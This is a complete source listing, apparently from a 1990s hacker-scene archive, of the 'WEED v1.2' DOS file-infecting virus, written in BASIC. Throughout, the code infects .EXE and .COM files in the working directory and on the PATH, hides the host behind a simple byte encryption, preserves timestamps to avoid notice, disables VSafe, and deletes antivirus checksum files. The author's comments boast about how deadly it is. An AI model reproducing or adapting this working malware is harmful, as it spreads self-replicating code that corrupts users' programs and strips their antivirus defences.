home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / WEEDV12.ZIP / WEEDV12.ASI < prev    next >
Text File  |  1997-03-15  |  9KB  |  417 lines

  1. dim virus_data(5590)
  2. dim host_data(5590)
  3. randomize
  4.  
  5. rem Define our encrypted data for later decryption. Data is encrypted
  6. rem during the compilation process. Do not tamper with tables in source!
  7. weedmsg$="WEED v1.2 - CASiO [RAiDERZ CoDERZ] - USA - 1997"
  8. killfil1$="anti-vir.dat"
  9. killfil2$="chklist.ms"
  10. killfil3$="chklist.cps"
  11.  
  12. newattr=0
  13. gosub vsafe_toggle:
  14. vsafebak=newattr
  15. gosub toast_them:
  16. call sub "exename" hostname$
  17. yourparm$=command$
  18. yourparm$=ltrim$(yourparm$)
  19. yourparm$=rtrim$(yourparm$)
  20. yourparm$=" "+yourparm$
  21.  
  22. rem My new WEED virus! Oh so much more deadly! So much more spiffy!
  23.  
  24. filename$=hostname$
  25. hostsize&=filelen(filename$)
  26. virus_size=5590
  27. virus_size&=5590&
  28. gosub get_attr:
  29. oldattr=newattr
  30. newattr=0
  31. gosub set_attr:
  32. gosub open_file:
  33. bytesize=virus_size
  34. dx=varptr(virus_data(0))
  35. gosub read_file:
  36. gosub close_file:
  37. newattr=oldattr
  38. gosub set_attr:
  39.  
  40. rem Ok, now infect files presently in current directory!
  41. subdir=0
  42. proc$="*.exe"
  43. gosub start_virus:
  44. proc$="*.com"
  45. gosub start_virus:
  46.  
  47. rem Ok, now were going to target files along the path :)
  48.      for n=0 to 100
  49.           call sub "path", n, virupath$
  50.           i=LEN(virupath$)
  51.           if i=0 then done:
  52.           b$=right$(virupath$,1)
  53.         if b$<>"\" then
  54.         virupath$=virupath$+"\"
  55.         endif
  56.         out1$="*.exe"
  57.         out2$="*.com"
  58.         subdir=1
  59.         proc$=virupath$+out1$
  60.         gosub start_virus:
  61.         proc$=virupath$+out2$
  62.         gosub start_virus:
  63.         next n
  64.  
  65.  
  66.  
  67. done:
  68. filename$=hostname$
  69. hostsize&=filelen(filename$)
  70. gosub get_attr:
  71. oldattr=newattr
  72. newattr=0
  73. gosub set_attr:
  74. gosub open_file:
  75. gosub get_fdt:
  76. hosttemp&=hostsize&-virus_size&
  77. move_way&=hosttemp&
  78. gosub move_file_pointer:
  79. bytesize=virus_size
  80. dx=varptr(host_data(0))
  81. gosub read_file:
  82. move_way&=0&
  83. gosub move_file_pointer:
  84. gosub dec_host:
  85. dx=varptr(host_data(0))
  86. bytesize=virus_size
  87. gosub write_file:
  88. gosub set_fdt:
  89. gosub close_file:
  90. gosub strip_garbage:
  91. newattr=oldattr
  92. gosub set_attr:
  93. a=rnd(0)
  94. a=a mod 10
  95. a=a+1
  96. if a=1 then
  97. rem Ok, run Stars Section, if they press "/" we allow them to run
  98. rem original program!
  99. call sub "Stars_heh"
  100. endif
  101. if a=7 then
  102. rem Time to print message! :)
  103. print weedmsg$
  104. a=5*18
  105. gosub pause_exec:
  106. endif
  107.  
  108. call hostname$, yourparm$
  109. newattr=0
  110. gosub vsafe_toggle:
  111. filename$=hostname$
  112. gosub lets_infect:
  113.  
  114. rem Hmm, lets see if our new host was able to make any files!
  115. subdir=0
  116. proc$="*.exe"
  117. gosub start_virus:
  118. proc$="*.com"
  119. gosub start_virus:
  120. newattr=vsafebak
  121. gosub vsafe_toggle:
  122. end
  123. rem We have completed replication. all stop!
  124.  
  125. start_virus:
  126. errcode=0
  127. attr=6
  128. kewl=0
  129.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  130.        WHILE ErrCode = 0
  131.           CALL SUB "GetNameF" FileName$
  132.   if subdir=1 then
  133.   filename$=virupath$+filename$
  134.   endif
  135.   gosub test_safe:
  136.   if safe=1 then
  137.   gosub infect_check:
  138. if infected=0 then
  139. gosub lets_infect:
  140. endif
  141. endif
  142.          CALL SUB "FindNextF" ErrCode
  143.          if kewl>4 then
  144.          errcode=1
  145.          endif
  146.    WEND
  147. return
  148.  
  149. Lets_infect:
  150. hostsize&=filelen(filename$)
  151. gosub get_attr:
  152. oldattr=newattr
  153. newattr=0
  154. gosub set_attr:
  155. gosub open_file:
  156. gosub get_fdt:
  157. bytesize=virus_size
  158. dx=varptr(host_data(0))
  159. gosub read_file:
  160. move_way&=0&
  161. gosub move_file_pointer:
  162. bytesize=virus_size
  163. dx=varptr(virus_data(0))
  164. gosub write_file:
  165. move_way&=hostsize&
  166. gosub move_file_pointer:
  167. gosub enc_host:
  168. dx=varptr(host_data(0))
  169. bytesize=virus_size
  170. gosub write_file:
  171. gosub set_fdt:
  172. kewl=kewl+1
  173. gosub close_file:
  174. newattr=oldattr
  175. gosub set_attr:
  176. return
  177.  
  178.  
  179. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  180. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  181.  
  182. get_attr:
  183. AX = &HEX4300
  184. DX = VARPTR(Filename$)
  185. CX = NewAttr
  186. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  187. return
  188.  
  189. set_attr:
  190. AX = &HEX4301
  191. DX = VARPTR(Filename$)
  192. CX = NewAttr
  193. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  194. return
  195.  
  196. vsafe_toggle:
  197. ax=&hexfa02
  198. dx=&hex5945
  199. bx=newattr
  200. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  201. newattr=bx
  202. return
  203.  
  204. get_fdt:
  205. if file_handle>4 then
  206. AX=&HEX5700
  207. BX=FILE_HANDLE
  208. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  209. NEWDATE=CX
  210. NEWTIME=DX
  211. endif
  212. RETURN
  213.  
  214. set_fdt:
  215. if file_handle>4 then
  216. AX=&HEX5701
  217. BX=FILE_HANDLE
  218. CX=NEWDATE
  219. DX=NEWTIME
  220. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  221. endif
  222. RETURN
  223.  
  224. chklist:
  225. temp1$=filename$
  226. filename$=kill_this$
  227. newattr=0
  228. gosub set_attr:
  229. kill filename$
  230. filename$=temp1$
  231. return
  232.  
  233. rem DOS int file i/o driven code beyond this point :)
  234.  
  235. rem ax=&hex3d00
  236. rem ax opens file for read in this mode :-)
  237. rem ax=&hex3d01
  238. rem ax opens file for write in this mode :-)
  239. rem ax=&hex3d02
  240. rem ax opens file for read/write access :) hehehe
  241.  
  242. open_file:
  243. AX=&HEX3D02
  244. DX = VARPTR(Filename$)
  245. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  246. file_handle=ax
  247. return
  248.  
  249. write_file:
  250. rem this routine will write selected bytes at whatever current position
  251. rem from whatever buffer i choose into the file.
  252. rem if the routine did not write all data ax will not equal cx upon
  253. rem return from int call.
  254. rem define dx register before calling this routine to point to the
  255. rem memory address of the buffer area you want to write from. like so:
  256. rem dx=varptr(buffer(0))
  257. rem cx is how many bytes to write :)
  258. if file_handle>4 then
  259. ax=&hex4000
  260. bx=file_handle
  261. cx=bytesize
  262. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  263. byteswritten=ax
  264. endif
  265. return
  266.  
  267. read_file:
  268. rem as the name implies, it reads bytes into a buffer. :-)
  269. rem as with write_file, you need to predefine the dx register for the
  270. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  271. rem if you don't, this routine will not work, or will overwrite some
  272. rem other section of memory. And for virus coding, this is very bad! :)
  273. rem cx register is how many bytes to read :)
  274. if file_handle>4 then
  275. ax=&hex3f00
  276. bx=file_handle
  277. cx=bytesize
  278. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  279. bytesread=ax
  280. endif
  281. return
  282.  
  283. close_file:
  284. rem This routine will close the selected file.
  285. rem do not try to close handle 2, very nasty... :-(
  286. if file_handle>4 then
  287. ax=&hex3e00
  288. bx=file_handle
  289. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  290. endif
  291. return
  292.  
  293. move_file_pointer:
  294. rem be sure to set variable move_way to whereever you wish to go
  295. rem it can be a long integer :-)
  296. rem get the target location, divide that by 65536
  297. rem Also subtract value of a& from the original size.
  298. rem set both registers for real numbers, no mistake here.. Will fuckup
  299. rem file pointer routine if I don't. :)
  300. rem a&=move_way&/65536&
  301. rem b&=a&-move_way&
  302. rem a&=abs(a&)
  303. rem b&=abs(b&)
  304. rem Now, dump the registers :)
  305. rem if file_handle>4 then
  306. rem ax=&hex4200
  307. rem cx=a&
  308. rem dx=b&
  309. rem bx=file_handle
  310. rem Ok, now that we have prepared the registers, Lets fix them!
  311. rem    if cx<0 then
  312. rem    cx=cx+32767
  313. rem    endif
  314. rem    if dx<0 then
  315. rem    dx=dx+32767
  316. rem    endif
  317. rem int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  318. rem endif
  319. rem return
  320. method=0
  321. call sub "fseek" file_handle, move_way&, method, errcode
  322. return
  323.  
  324. enc_host:
  325. rem Routine to encrypt the host data... We encrypt it before
  326. rem appending. Yea, the encryption is lame... But it serves it's
  327. rem purpose fine.
  328. for x=0 to virus_size
  329. a=host_data(x)
  330. a=a+127
  331. a=a+192
  332. a=a+x
  333. host_data(x)=a
  334. next x
  335. return
  336.  
  337. dec_host:
  338. rem Routine to decrypt the host data... We need to decrypt it before
  339. rem replacing it and passing control to it. And yes, the decryption
  340. rem sequence is lame... But, I don't give a fuck!
  341. for x=0 to virus_size
  342. a=host_data(x)
  343. a=a-127
  344. a=a-192
  345. a=a-x
  346. host_data(x)=a
  347. next x
  348. return
  349.  
  350. infect_check:
  351. gosub get_attr:
  352. newattr=oldattr
  353. newattr=0
  354. gosub set_attr:
  355. sig$=""
  356. open"r",1,filename$
  357. a=filepos(1,28)
  358. for z=1 to 4
  359. input #1,y$ byte
  360. sig$=sig$+y$
  361. next z
  362. close 1
  363. newattr=oldattr
  364. gosub set_attr:
  365. if sig$="╘┘Σ█" then
  366. infected=1
  367. else
  368. infected=0
  369. endif
  370. return
  371.  
  372. strip_garbage:
  373. open"r",1,filename$
  374. a=filepos(1,hosttemp&)
  375. print #1,"" NONULL
  376. CLOSE 1
  377. gosub open_file:
  378. gosub set_fdt:
  379. gosub close_file:
  380. return
  381.  
  382. pause_exec:
  383. REM 5 sec. timer routine from original QBasic source code written by:
  384. REM obother@netcom.com (Glen Blankenship)
  385. REM (5 * 18.2 clock-ticks-per-second = 91)
  386. TickOne = TIMER
  387. FOR i = 1 TO a
  388.    TickTwo = TickOne
  389.    WHILE TickTwo = TickOne
  390.        TickOne = TIMER
  391.    WEND
  392. NEXT i
  393. RETURN
  394.  
  395. toast_them:
  396. kill_this$=killfil1$
  397. gosub chklist:
  398. kill_this$=killfil2$
  399. gosub chklist:
  400. kill_this$=killfil3$
  401. gosub chklist:
  402. return
  403.  
  404. test_safe:
  405. openmode=0
  406. sharing=0
  407. errcode1=0
  408. call sub "Fopen" filename$ openmode sharing test_handle errcode1
  409. if errcode1=0 then
  410. call sub "Fclose" test_handle
  411. safe=1
  412. else
  413. safe=0
  414. endif
  415. return
  416.  
  417.